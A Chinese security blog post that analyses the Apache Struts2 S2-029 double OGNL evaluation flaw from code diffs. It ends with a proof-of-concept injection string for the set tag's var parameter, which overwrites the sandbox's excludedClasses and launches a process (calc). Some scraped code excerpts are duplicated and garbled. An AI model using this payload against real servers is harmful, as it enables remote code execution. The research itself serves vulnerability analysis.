神刀安全网

Struts框架s2-29远程代码执行漏洞猜想

Struts框架s2-29远程代码执行漏洞猜想

阅读: 0

在315打假日,知名的Java Web框架Struts2发布了新一轮的安全公告,其中最惹国内眼球的,当属这个s2-29——Possible Remote Code Execution vulnerability,可能存在远程代码执行漏洞。对于这个漏洞我第一时间就是一直在跟踪,但是由于官方透露的细节是在台上,所以这里我只能通过github上代码的变更信息,来猜测这个漏洞点。所以本篇文章仅供各位参考。

0x01 漏洞猜想

由于之前Struts2出现问题时,官方被安全人员和使用者训斥,不应该在安全公告中透露漏洞细节以及利用方法,所以这次官方很乖的在公告里写了一些很模糊的内容。

The Apache Struts frameworks performs double evaluation of attributes’ values assigned to certain tags so it is possible to pass in a value that will be evaluated again when a tag’s attributes will be rendered.

从这些内容中我们只能大概的知道在Struts的某些标签会在渲染的时候被执行两次,所以在新版本中修复了这个问题。在公告中说升级到2.3.25可以解决这个问题,所以我去github上diff了2.3.24.1和2.3.25两个版本。这两个版本中间commit了84次。我查看了所有的commit的代码部分,发现有几条看似像是关于这个漏洞相关的内容。

Struts框架s2-29远程代码执行漏洞猜想

diff0

Struts框架s2-29远程代码执行漏洞猜想

diff1

Struts框架s2-29远程代码执行漏洞猜想

diff2

Struts框架s2-29远程代码执行漏洞猜想

diff3

从内容来猜测,前两张图中的修改应该是用于完善沙盒检测机制的,因为这个修改,导致了官方后面出现了一个乌龙事件,这个我们留到后面再说。

好了,下面我们来看第三张图片了,看commit的描述reduces(减少)似乎与double有些关联,而且修改的component.java是所有标签的一个基类。而且从代码变化上来看,应该是减少不必要的Ognl表达式执行。代码对比如下:

2.3.24.1

` / java //core/src/main/java/org/apache/struts2/components/Component.java protected Object findValue(String expr, Class toType) {

protected Object findValue(String expr, Class toType) { if (altSyntax() && toType == String.class) {

if (altSyntax() && toType == String.class) { – return TextParseUtil.translateVariables(‘%’, expr, stack);

+ if (ComponentUtils.containsExpression(expr)) { + return TextParseUtil.translateVariables(‘%’, expr, stack); + } else { + return expr; + } } else { } else { expr = stripExpressionIfAltSyntax(expr);

//core/src/main/java/org/apache/struts2/util/ComponentUtils.java – * @param value to treat as an expression

+ * @param expr to treat as an expression * @return true if it is an expression

* @return true if it is an expression */ */ – public static boolean isExpression(Object value) {

+ public static boolean isExpression(String expr) { – String expr = value.toString();

return expr.startsWith(“%{“) && expr.endsWith(“}”);

return expr.startsWith(“%{“) && expr.endsWith(“}”); } }

` /

2.3.25

` / java //core/src/main/java/org/apache/struts2/components/Component.java protected Object findValue(String expr, Class toType) { if (altSyntax() && toType == String.class) {

if (altSyntax() && toType == String.class) { – return TextParseUtil.translateVariables(‘%’, expr, stack);

+ if (ComponentUtils.containsExpression(expr)) { + return TextParseUtil.translateVariables(‘%’, expr, stack); + } else { + return expr; + } } else { } else { expr = stripExpressionIfAltSyntax(expr);

expr = stripExpressionIfAltSyntax(expr);

//core/src/main/java/org/apache/struts2/util/ComponentUtils.java + * @param expr to treat as an expression * @return true if it is an expression

* @return true if it is an expression */ */ – public static boolean isExpression(Object value) {

+ public static boolean isExpression(String expr) { – String expr = value.toString();

return expr.startsWith(“%{“) && expr.endsWith(“}”);

return expr.startsWith(“%{“) && expr.endsWith(“}”); } }

  • public static boolean containsExpression(String expr) {
  • return expr.contains(“%{“) && expr.contains(“}”);
  • }
  • } } ` /

这段代码的修改用来处理掉了非%{开头,}结尾的字符串进行ognl解析的功能,这里我们来举个例子:bar%{2+3},在修改之前的代码中2+3是会被作为ognl执行的。那么修改后,这种形式就只会被当做字符串来返回。下面问题来了,这种要依赖Struts二次开发人员的奇葩代码风格的问题会被当成CVE吗?这个我是说不清楚,不过从描述和代码上来看,不是没有这种可能。

下面我们来看最后一张图片,这个修改就很有意思了,修改Xwork在底层和ognl的接口函数——setValue。去掉了这个函数的最后一个参数——evalName,这个参数的作用是用来判断是不是参数名的,如果是参数名那么绝不当做ognl表达式执行。这个参数最开始的使用者是参数拦截器中的setParameter方法,用来防止类似s2-03,s2-09这样的问题。但是官方应该是发现有一些他们不记得在哪里用过的setValue可能也存在这样的问题,那么索性就所有的参数名都不允许当做表达式执行好了,所以进行了这次修改。

之后我搜索了下关于这个setValue的使用情况,比较值得注意的有几个个点:Component类的copyParams参数,不过貌似没有被调用过;Set容器类,不过需要攻击者可以操控var属性内容;还有就是Cookie拦截器中,前提肯定是需要远程服务端配置好参数拦截器。相比较来说这个修改面对的问题就比较大了,毕竟Cookie拦截器使用的人也是不少的。所以我猜测s2-29的修复应该是这个点的可能性比较大。

0x02 漏洞构造&利用

我懒得去配置Cookie拦截器了,所以这里使用的是set标签,代码很简单:

java    

我知道你可能要吐槽%{}这种写法问题会很大,我这里只是单纯的想表示一下var属性可控的情况,不会对后面的执行产生实质影响的。

我们使用http://ip/test.action?tang3=attack来先看一下流程,首先是ContexBean Tag这个基类,在他的处理过程中所有标签的var属性都会通过ContextBean的setVar函数进行一次赋值,他的赋值代码如下:

java public void setVar(String var) { if (var != null) { this.var = findString(var); } }

如果你熟悉Struts2的标签实现代码,就会知道findString会对参数进行一次ognl表达式执行,他最终的执行代码就是我们分析第三张图中的那个findValue函数,findString的var参数就是findValue的exp参数。从下面图中可以看出tang3的值已经被取出来了(忽略掉内容的问题,后面会详细解释Poc为什么会长这样):

Struts框架s2-29远程代码执行漏洞猜想

debug0

我们继续向下走,到了Set类的end方法中,我们发现,代码是这样的:

` / java public boolean end(Writer writer, String body) { ValueStack stack = getStack();

Object o;if (value == null) {if (body != null && !body.equals("")) {o = body;} else {o = findValue("top");}} else {o = findValue(value);}body="";if ("application".equalsIgnoreCase(scope)) {stack.setValue("#application['" + getVar() + "']", o);} else if ("session".equalsIgnoreCase(scope)) {stack.setValue("#session['" + getVar() + "']", o);} else if ("request".equalsIgnoreCase(scope)) {stack.setValue("#request['" + getVar() + "']", o);} else if ("page".equalsIgnoreCase(scope)) {stack.setValue("#attr['" + getVar() + "']", o, false);} else {stack.getContext().put(getVar(), o);stack.setValue("#attr['" + getVar() + "']", o, false);}return super.end(writer, body);}
    Object o;     if (value == null) {         if (body != null && !body.equals("")) {             o = body;         } else {             o = findValue("top");         }     } else {         o = findValue(value);     }       body="";       if ("application".equalsIgnoreCase(scope)) {         stack.setValue("#application['" + getVar() + "']", o);     } else if ("session".equalsIgnoreCase(scope)) {         stack.setValue("#session['" + getVar() + "']", o);     } else if ("request".equalsIgnoreCase(scope)) {         stack.setValue("#request['" + getVar() + "']", o);     } else if ("page".equalsIgnoreCase(scope)) {         stack.setValue("#attr['" + getVar() + "']", o, false);     } else {         stack.getContext().put(getVar(), o);         stack.setValue("#attr['" + getVar() + "']", o, false);     }       return super.end(writer, body); }   

` /

看到那一堆的setValue了没有,我们刚才讨论的就是它!它实现一个三个参数的重载,实现代码是这样的:

java public void setValue(String name, Map        context, Object root, Object value) throws OgnlException { setValue(name, context, root, value, true); }   

没什么可说的了,evalName值是true,也就是说可以直接执行name中的ognl表达式。而getVar返回的内容,就是我们刚才的this.var值。

剩下的就是PoC构造的了,如我们所看到的拼接代码,我们需要封闭原有的表达式,然后构造合法语句,所以PoC就长成了这个样子:

java a']=1,ongl,#attr['a

ongl部分可以替换为任意ongl表达式语句,但是还有一个问题,就是Struts存在一个沙盒,防止ognl执行危险的java代码。这里我从阿里的 文章 中受到了启发,并且通过安恒的 文章 学到了这个技巧,那就是通过覆盖沙盒的黑名单成员变量,来实现绕过。所以之后我谈计算器的Poc长这个样子:

java a']=1,#_memberAccess["excludedClasses"]={1},new java.lang.ProcessBuilder('calc').start(),#attr['a

0x03 漏洞八卦

Struts框架漏洞曾经深深的伤害过国内大大小小的网站,也使很多安全公司深深的体会到到过事件运营的“乐趣”,所以Struts稍微有个安全公告大家都有一种打了鸡血的干劲。但有时候事与愿违,官方这次一点细节也不透露,只能靠猜,影响了质量和速度,实在是运营的一大悲哀啊。

这次漏洞的修复过程还是很欢乐,官方在测试沙盒规则时,应该是为了方便测试去掉了沙盒的代码,结果当我查看commit是看到了下面这一幕:

Struts框架s2-29远程代码执行漏洞猜想

bagua0

是的!他把沙盒给删了~~看到这里是我是一脸懵逼的状态,直到我看到了2.3.26的commit:

Struts框架s2-29远程代码执行漏洞猜想

bagua1

我笑抽了,我真的笑抽了~~所以Struts在外的发布版本中只有2.3.25BETA系列,而没有真正的2.3.25版本。

对了,还有一个就是,大家都以为目前大家看到的绕过沙盒PoC真的在2.3.26中已经没用了吗?反正我的PoC只能在2.3.24.1中用。

PS:苦逼的官方现在已经在测试2.3.27版本了大家准备好下一波升级吧~~

Struts框架s2-29远程代码执行漏洞猜想

bagua2

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » Struts框架s2-29远程代码执行漏洞猜想

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮